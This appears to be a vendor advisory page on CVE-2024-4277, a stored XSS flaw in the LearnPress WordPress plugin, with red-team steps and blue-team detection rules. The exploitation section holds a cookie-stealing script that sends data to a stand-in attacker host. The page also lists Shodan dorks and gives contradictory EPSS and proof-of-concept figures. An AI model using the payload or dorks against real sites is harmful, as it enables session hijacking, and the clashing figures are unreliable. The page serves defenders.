☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4277

CVE-2024-4277 Cross-Site Scripting in Learnpress
📅 PUBLISHED: 2024-05-10 09:32 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
4.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4277 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin for WordPress. The flaw exists in the layout_html parameter across all versions up to and including 4.2.6.5. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is specific to the WordPress ecosystem and affects the LearnPress plugin, a popular Learning Management System (LMS) solution. The CVSS score is 6.4 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is considered Medium due to the requirement for authenticated access and the limited impact on confidentiality and integrity. However, the ability to execute arbitrary scripts in the context of other users elevates the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is triggered through the layout_html parameter, which is used by the LearnPress plugin to render custom layouts. The plugin fails to properly sanitize user input and escape output when processing this parameter. An attacker with contributor-level access can inject malicious JavaScript or HTML into the parameter, which is then stored in the WordPress database. When an administrator or other user views the affected page, the injected script executes in their browser.

The attack flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker crafts a payload containing malicious JavaScript (e.g., <script>alert('XSS')</script>).
  3. Attacker submits the payload via the layout_html parameter in a LearnPress course or lesson.
  4. The payload is stored in the database without proper sanitization.
  5. When a victim (e.g., admin or student) accesses the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (LearnPress <= 4.2.6.5):

// Example of vulnerable code in LearnPress
function render_layout($layout_html) {
    echo $layout_html; // Direct output without escaping
}

Patched Code (Hypothetical fix):

// Example of patched code
function render_layout($layout_html) {
    echo esc_html($layout_html); // Properly escape output
}

The vulnerable code directly echoes the $layout_html parameter without using WordPress's esc_html() or wp_kses_post() functions, allowing arbitrary HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker needs:

  • A WordPress site with LearnPress plugin version <= 4.2.6.5.
  • Contributor-level credentials.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Navigate to a LearnPress course or lesson editor.
  3. Inject the following payload into the layout_html field:
    <script>alert('XSS')</script>
    
  4. Save the content.
  5. When an admin or student views the page, the script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

To detect exploitation attempts:

  • Monitor for unusual layout_html parameter submissions in WordPress logs.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Detection Commands:

# Search for suspicious layout_html entries in the database
wp db query "SELECT * FROM wp_postmeta WHERE meta_key LIKE '%layout_html%' AND meta_value LIKE '%<script%'"

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/learnpress/ (check for modified files)
  • Database: Entries in wp_postmeta with meta_key containing layout_html and meta_value containing <script> tags.
  • Network: Outbound connections to attacker-controlled domains from the WordPress server.
  • Logs: WordPress debug logs showing unexpected HTML/JavaScript in layout_html fields.

Detection Engineering

YARA Rule

rule CVE_2024_4277_LearnPress_XSS {
    meta:
        description = "Detects stored XSS payloads in LearnPress layout_html parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4277"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $layout_html = "layout_html"
    condition:
        $layout_html and $xss_payload
}

Sigma Rule

title: CVE-2024-4277 LearnPress Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via layout_html parameter in LearnPress
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "layout_html"
        http.request.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in layout_html (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4277 LearnPress Stored XSS Attempt"; flow:to_server; content:"layout_html"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the LearnPress plugin until a patch is available.
  2. Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the layout_html parameter.
  3. Code Fix: Apply output escaping using esc_html() or wp_kses_post() to the layout_html parameter.
  4. User Education: Restrict contributor-level access to trusted users only.
  5. Monitoring: Enable WordPress debug logging and monitor for suspicious activity.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"LearnPress"
http.html:"learnpress"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4277/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.